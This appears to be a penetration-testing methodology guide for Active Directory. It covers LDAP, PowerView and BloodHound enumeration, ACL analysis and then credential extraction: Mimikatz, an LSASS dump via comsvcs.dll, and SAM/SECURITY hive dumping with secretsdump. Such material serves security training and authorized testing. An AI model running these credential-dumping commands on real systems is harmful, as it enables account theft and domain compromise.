USERDOMAINcan be a NetBIOS label; prefer the DNS domain for LDAP/Kerberos.
10.12.18.1.2.2 Kali/off-domain source
dig +short SRV _ldap._tcp.dc._msdcs.DOMAIN @DC_IP
dig +short SRV _kerberos._tcp.DOMAIN @DC_IP
nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD'
ldapsearch -x -LLL -H ldap://DC_HOST:389 -s base -b '' \
defaultNamingContext configurationNamingContext rootDomainNamingContext dnsHostName
RootDSE is a directory-server metadata object. Reading it can reveal naming contexts even when anonymous subtree searches are denied. Convert
corp.exampletoDC=corp,DC=example; do not guess the base DN when RootDSE can supply it.
10.12.18.1.2.2.1 Remote Windows session and double-hop caveat
whoami /all
klist
dir \\DC_HOST\SYSVOL
A supplied credential may create the remote session without being delegated onward to the DC. If local identity commands work but access to a second host fails, distinguish a WinRM/PowerShell remoting credential-delegation problem from invalid credentials. An interactive RDP session, explicit credentials, /netonly network credentials or an off-domain LDAP client may create a different context; always record which identity is used locally and over the network.
IDENTITY MAP: USER/COMPUTER -> DIRECT + NESTED GROUPS -> DIRECTORY RIGHTS
HOST MAP: COMPUTER -> OS/ROLE -> LOCAL/REMOTE-ACCESS RIGHTS -> SESSIONS
ROUTE MAP: SOURCE -> DNS/KDC/DC/HOST -> REQUIRED PORT/SERVICE
LEAD MAP: EVIDENCE -> HYPOTHESIS -> MINIMUM VALIDATION -> NEXT BLOCK
Authentication, authorization, reachability and session presence are independent. A valid LDAP bind does not prove share access; SMB administration on one host does not prove directory privilege; a session edge does not prove retrievable credentials.
AS-REQ/AS-REP: user proves knowledge of long-term key -> receives TGT
TGS-REQ/TGS-REP: TGT requests SERVICE/HOST -> receives service ticket
AP-REQ: client presents service ticket -> service authenticates client
AUTHORIZATION: target service still evaluates the represented identity/claims
Before changing credentials or tools:
getent hosts DC_HOST
nc -nvz DC_IP 88
date -u
w32tm /query /status
klist
Record domain FQDN/realm, DC FQDN/IP, source DNS, current time, KDC route and exact target SPN. IP connectivity does not replace hostname/SPN correctness.
Verify: Record represented identity, realm, selected DC, resolver, clock and real source route.
If it fails: Wrong domain, KDC timeout, clock skew and account denial are distinct failures. Do not repeatedly change passwords to fix a route problem.
10.12.18.1.3 Find: Enumerate directory objects with native, LDAP and PowerView approaches
Use the available built-in/LDAP interface from the verified domain context; inspect one useful user/group before broad graph assumptions.
net user USER /domain
net group "GROUP" /domain
Recognize: Account/group membership supplies a relationship to investigate; nested membership and effective destination rights remain separate.
Validate next: Verify object SID/type, nesting and the exact right granted to that principal.
Enumerate directory objects with native, LDAP and PowerView approaches.
10.12.18.1.4 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Correct search base and authentication transport; object/attribute visibility and compatible local utilities
Native Windows baselineWindows context: native commands first; RSAT only when installed.
net user /domain
net user USER /domain
net group /domain
net group "Domain Admins" /domain
net group "GROUP" /domain
net accounts /domain
nltest /domain_trusts /all_trusts
net view /domain
net view \\DC_HOST
These commands are broadly available but provide partial views. Expand interesting users and groups individually, trace nested groups rather than assuming memberOf is complete, and retain SIDs when names can collide across domains.
10.12.18.1.5 RSAT ActiveDirectory module, only when installed
Get-Command -Module ActiveDirectory
Get-ADDomain
Get-ADForest
Get-ADDomainController -Filter *
Get-ADUser -Filter * -Properties Enabled,Description,MemberOf,ServicePrincipalName,UserPrincipalName,PasswordLastSet,LastLogonDate,AdminCount
Get-ADGroup -Filter * -Properties GroupScope,GroupCategory,Members,Description
Get-ADGroupMember -Identity 'GROUP' -Recursive
Get-ADComputer -Filter * -Properties DNSHostName,OperatingSystem,OperatingSystemVersion,ServicePrincipalName,TrustedForDelegation,LastLogonDate
Get-ADTrust -Filter *
Get-AD* cmdlets require the RSAT ActiveDirectory module. Its absence on a client is normal; use ADSI, LDAP, PowerView or an off-domain client.
Built-in ADSI/DirectorySearcher fallbackWindows/.NET directory queries without RSAT; use the current network identity and correct base.
For automatic, explicitly scoped inventory, run the AD surface helpers with an explicit DC/domain. Collection runs by default, prints a bounded findings summary and saves a unique private evidence directory; -Preview displays checks without connecting. The helper preserves query failures, candidate clues, account-context limits and linked manual-validation handoffs without requesting roast material or changing directory objects.
For repeated queries, define LDAPSearch once inline, then use its purpose-labelled calls. The transparent one-off procedure below remains useful when no helper is loaded.
$root = [ADSI]'LDAP://RootDSE'
$base = [ADSI]("LDAP://" + $root.defaultNamingContext)
$searcher = New-Object System.DirectoryServices.DirectorySearcher($base)
$searcher.PageSize = 1000
$searcher.PropertiesToLoad.AddRange(@('samaccountname','userprincipalname','objectsid','memberof','serviceprincipalname','description','useraccountcontrol','pwdlastset','lastlogontimestamp'))
$searcher.Filter = '(&(objectCategory=person)(objectClass=user))'
$searcher.FindAll() | ForEach-Object { $_.Properties }
Change only the filter and requested attributes for another object class:
10.12.18.1.6 Groups
# Groups
$searcher.Filter = '(objectCategory=group)'
$searcher.PropertiesToLoad.Clear()
$searcher.PropertiesToLoad.AddRange(@('samaccountname','objectsid','member','grouptype','description'))
$searcher.FindAll() | ForEach-Object { $_.Properties }
10.12.18.1.7 Computers
# Computers
$searcher.Filter = '(objectCategory=computer)'
$searcher.PropertiesToLoad.Clear()
$searcher.PropertiesToLoad.AddRange(@('dnshostname','operatingsystem','operatingsystemversion','serviceprincipalname','useraccountcontrol','lastlogontimestamp'))
$searcher.FindAll() | ForEach-Object { $_.Properties }
PageSize = 1000asks for paged results; without paging, the server's result-size limit can silently produce an incomplete inventory. LDAP filters are data selection, not proof of access or exploitability.
Authenticated LDAP from KaliDirectory connectivity and a supported authenticated query context; check base, filter and paging.
10.12.18.1.7.1 Discover the naming context
ldapsearch -x -LLL -H ldap://DC_HOST:389 -s base -b '' \
defaultNamingContext configurationNamingContext rootDomainNamingContext dnsHostName
10.12.18.1.7.2 Identify domain principals and their memberships Users, groups and computers
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(&(objectCategory=person)(objectClass=user))' \
sAMAccountName userPrincipalName objectSid userAccountControl memberOf description servicePrincipalName pwdLastSet lastLogonTimestamp adminCount
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(objectCategory=group)' sAMAccountName objectSid member groupType description
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(objectCategory=computer)' dNSHostName operatingSystem operatingSystemVersion servicePrincipalName userAccountControl lastLogonTimestamp
10.12.18.1.7.2.1 SPNs, trusts and GPO/OU context
# SPN-bearing accounts: mapping only; do not request tickets in this block.
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName memberOf userAccountControl pwdLastSet
# Trusted-domain objects
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-b 'DC=DOMAIN,DC=TLD' '(objectClass=trustedDomain)' \
cn securityIdentifier trustDirection trustType trustAttributes
# OUs and GPO containers; correlate links before inferring host effect.
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(|(objectClass=organizationalUnit)(objectClass=groupPolicyContainer))' \
distinguishedName displayName name gPLink gPOptions
10.12.18.1.7.3 LDAP failure router
| Result | Interpretation | Next action |
|---|---|---|
Invalid credentials (49) | Bind identity/secret/context failed; subcodes may refine the cause | Recheck UPN vs DOMAIN\USER, account state and exact secret; do not infer authorization |
Strong(er) authentication required / confidentiality required | Server policy rejects that bind/transport | Use the permitted LDAPS/StartTLS or Kerberos/SASL path; do not disable protections |
Size limit exceeded or suspiciously round count | Search is incomplete | Add paged results and narrow the base/filter |
| Referral/partial results | Search crossed a naming-context boundary | Query the referred domain/partition or compatible Global Catalog deliberately |
| Bind succeeds, search empty | Wrong base/filter, ACL filtering or genuinely no matches | Verify RootDSE base, test a known object and request fewer attributes |
| Works by IP, Kerberos fails | Route exists but name/SPN/DNS/time path is wrong | Use DC FQDN, AD DNS, correct realm and synchronized time |
PowerView: convenient manual breadthReviewed compatible PowerView loaded in the intended directory authentication context.
Import-Module .\PowerView.ps1
Get-Command -Module PowerView
Get-Domain
Get-DomainController
Get-DomainTrust
Get-DomainUser | Select-Object samaccountname,userprincipalname,description,memberof,serviceprincipalname
Get-DomainGroup
Get-DomainGroupMember -Identity 'GROUP' -Recurse
Get-DomainComputer | Select-Object dnshostname,operatingsystem,operatingsystemversion
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
The original PowerSploit repository is archived. Course examples and forks may use legacy aliases such as Get-NetUser, Get-NetGroup, Get-NetComputer or Get-NetDomainTrust. Inspect Get-Command/Get-Help for the exact copy present rather than mixing generations.
NEW PASSWORD/HASH/KEY/TICKET
-> VERIFY TYPE, CLIENT, REALM, VALIDITY
-> AUTHENTICATE THROUGH ONE COMPATIBLE SERVICE
-> CONFIRM IDENTITY
-> REPEAT GROUP/ACL/SHARE/HOST/SESSION/ROUTE MAPPING
Do not overwrite the old state. Record which source produced the material and which protocol accepted it.
Verify: Retain object identifiers, group relationships and actual visibility; distinguish directory facts from inferred execution access.
If it fails: Missing RSAT/PowerView does not block built-in ADSI or LDAP. Signing/TLS policy requires a compatible authenticated transport.
10.12.18.1.8 Find: Read domain shares, SYSVOL and NETLOGON for useful artifacts
Enumerate the DC/known file-server shares and inspect relevant SYSVOL/NETLOGON paths under the accepted domain identity.
net view \\DC_HOST
dir \\DOMAIN\SYSVOL
dir \\DOMAIN\NETLOGON
Recognize: A real domain-readable script gives concrete identity/path leads for credential and host investigation.
Validate next: Verify readable artifact content, whether any secret is current and what account/service it belongs to.
Read domain shares, SYSVOL and NETLOGON for useful artifacts.
10.12.18.1.9 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Reachable SMB plus share/object read rights in the chosen identity context
10.12.18.1.9.1 Inventory, then test the object
net view \\DC_HOST
dir \\DC_HOST\SYSVOL
dir \\DC_HOST\NETLOGON
nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD' --shares
smbclient -L //DC_IP -U 'DOMAIN/USER'
smbclient //DC_IP/SYSVOL -U 'DOMAIN/USER' -c 'recurse ON; ls'
smbclient //DC_IP/SHARE -U 'DOMAIN/USER'
Inside smbclient, use ls, cd, get FILE and a harmless approved put only when write validation is needed. Share listing, share connection, file read and file write are separate permissions.
Inspect authorized readable policy/logon/deployment paths for scripts, configurations, backups, connection strings and legacy Group Policy Preferences XML containing cpassword. Selectively retrieve relevant files; do not bulk-copy a share merely because it is readable. A discovered secret returns to the credential-classification procedure.
Verify: Prove read access and actual artifact content; keep recovered real secrets private.
If it fails: Share listing denial does not necessarily deny a known share path, and login success does not guarantee object read access.
10.12.18.1.10 Find: Identify service accounts and SPNs worth investigating
Enumerate servicePrincipalName on user objects and associate each SPN with its owning account and memberships.
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
Recognize: A user-owned service name identifies a potential ticket/password-recovery target whose rights may be useful.
Validate next: Check actual account type, KDC authentication, encryption type and feasibility; SPN existence alone is not weakness.
Identify service accounts and SPNs worth investigating.
10.12.18.1.11 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions
setspn -Q */*
setspn -L ACCOUNT
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof,useraccountcontrol,pwdlastset
Record account → service class/host/port → groups → password age/encryption/delegation clues → reachable service. An SPN means the account represents a Kerberos service identity; it does not mean the password is weak, the service is reachable or the account is privileged. Ticket acquisition/cracking is Block 11.
Verify: Record SPN, account/object type and relevant privilege relationships before prioritizing recovery.
If it fails: An SPN alone proves neither weak password nor destination admin rights. Rank by evidence and potential benefit.
10.12.18.1.12 Find: Validate effective directory-object control
Select a useful user/group/computer/domain object from mapping and resolve its ACE trustees, rights and object-specific scopes.
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Recognize: A DACL-control ACE for a possibly controlled trustee opens an intermediate-right candidate.
Validate next: Resolve the ACE's trustee and group nesting, target object class, GUID and inheritance/deny scope. For password reset, group writes or DACL changes open that exact operation's procedure and check its additional conditions before modifying anything.
Validate effective directory-object control.
10.12.18.1.13 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty|Self' } |
Select-Object ObjectDN,SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType,IsInherited,InheritanceType
PowerView normally exposes the trustee as SecurityIdentifier. Resolve that SID and trace controlled direct/nested membership. -ResolveGUIDs resolves operation GUIDs; it does not make every trustee a friendly account name. A blank projected column can mean the selected property is absent, not that an ACE has no trustee.
10.12.18.1.14 Compatible copy that actually emits IdentityReference
Use this projection only when inspecting the returned object confirms that the loaded implementation provides IdentityReference.
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty|Self' } |
Select-Object ObjectDN,IdentityReference,ActiveDirectoryRights,ObjectAceType,AceType,IsInherited,InheritanceType
If the value is an unresolved SID, resolve it before applying the rule to a controlled principal.
| Candidate right | Possible transition to validate later | Missing proof now |
|---|---|---|
GenericAll | Broad object modification | Controlled trustee, target object class, applicable deny/inheritance and useful change |
GenericWrite / WriteProperty | Change one or more writable attributes | Exact attribute/object GUID and a transition that consumes it |
WriteOwner | Become owner | Ability to change the DACL afterward and use the resulting right |
WriteDacl | Add an ACE | Effective write-DACL right, planned narrow ACE and restoration |
AllExtendedRights / ForceChangePassword | Extended operation such as reset where applicable | Object class, exact extended right and downstream usefulness |
Self / validated write | Add self/member or another validated attribute where schema permits | Correct validated-write GUID and target type |
| GPO/OU control | Affect linked computers/users | Writable GPO component, effective link/scope, refresh/trigger and target placement |
An ACE is one rule. Effective access depends on trustee/group nesting, allow/deny semantics, inheritance, object-specific GUIDs and security descriptor scope. Do not perform the modification in this mapping block.
Model: controlled principal → effective ACE → target object/type → permitted modification → authentication/authorization effect → cleanup.
Enumerate a target's ACL with resolved GUIDs:
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }
Resolve trustees:
ConvertFrom-SID 'S-1-5-21-...'
Get-DomainObject -Identity 'S-1-5-21-...' | Select-Object samaccountname,objectclass
Common effects require different rights:
| Right/object | Possible controlled effect | Validation needed |
|---|---|---|
GenericAll/password-reset extended right on user | Reset the user's password | Effective trustee, account state, protected-object behavior |
GenericAll or effective member-attribute write on group | Add a controlled principal to the group | Target group, nesting and a refreshed logon token |
GenericWrite/SPN-property write on user | Add a temporary SPN, request a TGS and remove it | Exact property right, duplicate-SPN checks and cleanup |
WriteDacl | Grant a narrower right | Ability to write DACL and restore original ACL |
WriteOwner | Change owner, then possibly DACL | Owner semantics and cleanup |
| Computer-object write | RBCD-related attribute change | Machine account/control, SPN/Kerberos and target service |
Verify: Verify principal, object SID/type and effective permitted modification; preserve original ACL/state before changes.
If it fails: A stale graph, inherited scope mismatch or deny/protected-object behavior can invalidate the edge.
10.12.18.1.15 Find: Validate host access and volatile session candidates
Correlate directory group/session relationships with a specific host's service and local access policy, rather than treating all host edges as administrator access.
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Recognize: A permitted SMB action identifies a host capability; it does not establish RDP/WinRM/SCM rights. Investigate sessions only with a supported, permitted remote query.
Validate next: Verify actual group effectiveness, service/logon rights, session freshness and collection visibility.
Validate host access and volatile session candidates.
10.12.18.1.16 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Find-LocalAdminAccess
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Find-LocalAdminAccess is a broad candidate generator and can be noisy or blocked by firewall/RPC controls. Validate a selected host with the service you may actually use. NetExec's (Pwn3d!) indicates administrative SMB context according to that tool; it does not establish RDP, WinRM, WMI/DCOM or directory rights. RDP, WinRM, SMB/service control and WMI/DCOM each have different ports, services, policies and authorization.
Get-NetSession -ComputerName COMPUTER -Verbose
Get-NetLoggedon -ComputerName COMPUTER
PsLoggedOn.exe \\COMPUTER
Get-NetSession relies on workstation/session enumeration APIs that modern Windows may restrict. PsLoggedOn combines Registry profile evidence with NetSessionEnum; remote Registry access and sufficient rights are relevant, and querying can itself create a network-session entry. Therefore:
- empty/denied is inconclusive, not proof of no users;
- a session is a time-sensitive observation, not a durable ACL;
- a session matters only if the current identity can reach/control that host and a later credential/ticket technique applies;
- session presence does not prove credentials are resident, accessible or reusable.
Verify: Record the destination-specific successful action and freshness/limits of session evidence.
If it fails: Collection denial is not proof that no sessions exist; a valid credential is not proof of every host-access method.
10.12.18.1.17 Find: Collect focused BloodHound data and validate an attack path
Inspect focused collected relationships and the collector's scope/freshness before following a displayed path.
In BloodHound: locate the controlled principal; inspect the exact edge, source object, destination and collection age.
Resolve its underlying group/ACL/service evidence with the corresponding manual method.
Recognize: The directory edge supplies a candidate intermediate right; missing host/session evidence cannot be invented from the graph.
Validate next: Collect with a version-compatible SharpHound/BloodHound collector, then validate the selected edge. Resolve group nesting and effective ACEs for object control; test destination rights and session freshness for host/session edges.
Collect focused BloodHound data and validate an attack path.
10.12.18.1.18 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection
10.12.18.1.18.1 Current SharpHound CE
Low-noise directory baseline that avoids contacting every workstation:
.\SharpHound.exe --CollectionMethods DCOnly --OutputDirectory .\bh --ZipFileName domain-dconly.zip
Add host facts only when they can answer the next question:
.\SharpHound.exe --CollectionMethods LocalGroup --ComputerFile .\candidate-hosts.txt --OutputDirectory .\bh --ZipFileName candidate-localgroups.zip
.\SharpHound.exe --CollectionMethods Session --ComputerFile .\candidate-hosts.txt --Loop --LoopDuration 00:10:00 --OutputDirectory .\bh --ZipFileName candidate-sessions.zip
SharpHound with no collection flag uses its broader default, including directory data plus local-group/session attempts. All performs every supported method; it is not the first response to an unanswered narrow question. Import the output ZIP into a compatible BloodHound CE deployment and verify node/edge counts and ingestion errors.
10.12.18.1.18.1.1 Collector variants and compatibility
# Inspect the actual collector before using copied syntax.
.\SharpHound.exe --help
For the current Kali CE collector, use the noninteractive directory-first command below. Legacy bloodhound-python is not its CE command/schema.
# Legacy/course PowerShell collector; use only with a compatible legacy deployment.
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory .\bh -ZipFileName legacy.zip
Use the collector version intended for the BloodHound deployment. bloodhound-python, legacy SharpHound PowerShell and current SharpHound CE are alternatives with different schemas/features, not interchangeable command spellings.
10.12.18.1.18.2 Noninteractive Kali first pass
Use one valid domain identity and scoped DC/SMB connectivity. Start in a fresh private directory so graph output and reports do not mix identities. DOMAIN is the DNS domain; DOMAIN_NETBIOS is its short name, DC_HOST the DC FQDN, and TARGET one approved SMB host. No menu input is required.
mkdir -p ~/oscp/work/TARGET/evidence/ad-first-pass
cd ~/oscp/work/TARGET/evidence/ad-first-pass
bloodhound-ce-python -d DOMAIN -u USER -p 'PASSWORD' -dc DC_HOST -ns DC_IP -c DCOnly --disable-autogc --zip
ldapdomaindump -u 'DOMAIN_NETBIOS\USER' -p 'PASSWORD' -o ldap-inventory ldap://DC_IP
bloodyAD --host DC_HOST --dc-ip DC_IP -d DOMAIN -u USER -p 'PASSWORD' get writable --detail --partition DOMAIN > writable.txt
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares --no-admin-check --log shares.log
Choose: the graph covers groups, trusts, object properties, ACLs and containers; ldapdomaindump adds readable inventory; bloodyAD reports domain-partition effective writable attributes/security descriptors/child classes; NetExec checks the selected host's shares. Skip redundant inventory when the graph already answers the question.
Version gate: the NetExec line requires help documenting
--file-write-check(leave it off) and--no-admin-check. Its default opens existing share roots with access masks, without creating files. The latter skips SCM administration probing. The bloodyAD line requires--partitionsupport. Local tool databases, arguments and output contain private information.Interpret:
DCOnlybypasses member-computer enumeration, not all DC/GC/DNS discovery. LDAP inventory can follow referrals. A writable-rights result is not a write; an SMB access-mask result is not proof of actual file creation. No remote command, password change, LDAP modification, certificate enrollment or roasting feature is selected here. Logons and audit events still occur.
10.12.18.1.18.2.1 Older NetExec with --no-write-check, including v1.4.0
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares --no-write-check --log shares.log
Use this only when installed help supports the older flag. Bare --shares in that release creates/deletes temporary artifacts. This form skips write testing, but the old login path can still probe SCM permissions. Filtering displayed shares to READ is not a substitute for disabling the write test.
Do not use linWinPwn --auto as a substitute for this selection: its automatic chain has additional attack behavior. Its menu-based all,LoggedOn collector adds host RPC and remote-registry access that can trigger RemoteRegistry startup. The direct baseline also removes the wrapper's startup Nmap scan and conditional password-repair prompts. Authentication-method fallback can cause multiple authentication exchanges; stop and diagnose a failed credential rather than repeatedly running all collectors.
Sources: BloodHound.py CE, ldapdomaindump, bloodyAD writable query, NetExec share enumeration. A future tool/dependency version needs renewed behavior checks; these commands are reference material, not a claim of target execution or explicit OffSec tool endorsement.
10.12.18.1.18.3 Analyze in this order
- Mark only identities/hosts actually controlled. A low-privilege session on a host does not make the host itself fully owned.
- Inspect the controlled principal's direct and nested group memberships and outbound object-control edges.
- Inspect reachable computers where it has local admin, RDP, WinRM/DCOM or other applicable rights.
- Inspect high-value goals and shortest paths only as hypothesis generation.
- Classify each selected edge:
- directory/static-ish: group, ACL, GPO, OU, trust;
- host-derived: local group or user right;
- volatile: session;
- route-dependent: the required host/service must be reachable now.
- Reproduce the minimum important relationship manually before handing it to Block 11 or 12.
ID | CONTROLLED PRINCIPAL | RELATIONSHIP | TARGET | SOURCE EVIDENCE
| EFFECTIVE? | ROUTE/SERVICE | VOLATILITY | EXPECTED TRANSITION
| MINIMUM VALIDATION | STATUS | NEXT BLOCK
Rank candidates by:
- confidence that the relationship is effective;
- deterministic value of the resulting identity/access;
- route and service availability;
- stability versus volatile session timing;
- reversibility and impact;
- number of unsupported assumptions.
Prefer a validated readable share/credential clue or direct object right over a multi-edge path built from stale sessions and unreachable hosts.
Verify: Validate every useful edge against current directory/host evidence and identify the transition each one enables.
If it fails: Collector/version incompatibility and partial data are tool/visibility failures. They do not prove the environment lacks a path.
10.12.18.2 Gain a more useful domain identity
10.12.18.2.1 Find: Obtain accessible live logon-session credential material
On the verified controlled host inspect current token, logged-on session evidence and protection configuration before choosing a credential source.
whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Recognize: A useful session is a possible source, while PPL/protection can prevent the chosen process-memory access.
Validate next: Verify actual privilege, fresh useful sessions, process/architecture compatibility and protection; prefer accessible tickets when sufficient.
Obtain accessible live logon-session credential material.
10.12.18.2.2 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
| Source | What it can contain | Typical prerequisite | Result is not automatically |
|---|---|---|---|
| Current ticket cache | TGTs and service tickets for the current logon session | Current user; other LUIDs normally require elevation | A password, NT hash or authorization to every service |
| LSASS memory/dump | Logon-session NTLM/AES/DPAPI material and tickets, depending on OS/protection/logon type | Administrator/SYSTEM, suitable debug/dump access, compatible architecture | Guaranteed cleartext or every user's reusable secret |
| SAM + SYSTEM | Local account password hashes | Administrator/SYSTEM/backup-capable access to matched hives | Domain-account material |
| SECURITY + SYSTEM | LSA secrets, service/machine secrets, cached domain verifiers | Administrator/SYSTEM/backup-capable access to matched hives | Directly passable cached-domain hashes |
| Credential Manager/DPAPI | Targeted saved credentials and protected application data | Suitable user/machine context plus master-key material | Plaintext merely because a blob/file is readable |
| NTDS + SYSTEM | Domain account hashes/keys from a DC database | DC-level file access and matched boot-key material | Ordinary member-server admin access |
| DRS replication | Selected domain-account secrets | Effective replication rights at the domain root | Local admin, DC service access or Domain Users membership |
whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus
Interpretation:
- membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
SeDebugPrivilegemust be present and usable for common live-process access;- a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
- LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
- EDR/AV can block a tool or dump path without proving the underlying credential source is empty.
An access-denied or empty result disproves only that method in the current context.
10.12.18.2.2.1 Read accessible logon-session material with Mimikatz Direct Mimikatz access
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.
10.12.18.2.2.2 Collect an authorized memory artifact for offline parsing Dump first, parse offline
Built-in comsvcs.dll method from an elevated command prompt:
for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full
Sysinternals ProcDump alternative:
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Parse with a compatible Mimikatz build:
mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets
Common failures:
- dump creation denied: token/protection/EDR or process-access prerequisite failed;
ProcessorArchitecturemismatch: use compatible x64/x86 tooling;- OS major-version mismatch: parse with a compatible build/environment;
- dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.
LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning
Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.
Verify: Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.
If it fails: Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.
10.12.18.2.3 Find: Extract local account hashes from matched SAM and SYSTEM
At a host context with justified protected-file access inspect current privileges and the source machine before selecting matched registry material.
hostname
whoami /priv
Recognize: Sufficient source access suggests local-account extraction, not domain-account extraction.
Validate next: Verify a supported backup/read operation, complete same-host hives and offline parser context.
Extract local account hashes from matched SAM and SYSTEM.
10.12.18.2.4 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matched SAM/SYSTEM from the same system and appropriate read/backup access
reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Mimikatz alternative from a suitable elevated context:
privilege::debug
token::elevate
lsadump::sam
Interpret a typical account row as:
LOCAL_USER:RID:LM_HASH:NT_HASH:::
The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.
Verify: Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.
If it fails: Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.
10.12.18.2.5 Find: Extract LSA secrets and cached-domain verifiers
Inspect the rights and origin of a protected registry backup and distinguish SECURITY data from SAM before collection/parsing.
hostname
whoami /priv
Recognize: A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.
Validate next: Confirm matched key material and classify every returned service/machine secret or DCC2 record.
Extract LSA secrets and cached-domain verifiers.
10.12.18.2.6 Commands and use-case variants
Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Appropriate host/read privilege and complete matching key/source files
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL
Mimikatz alternative:
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache
Potential categories:
$MACHINE.ACC: member computer's domain-account secret/key material;- service/autologon secrets: usefulness depends on whether the service/account remains active;
NL$1-style cached logon data: DCC2/MSCache v2 verifier material.
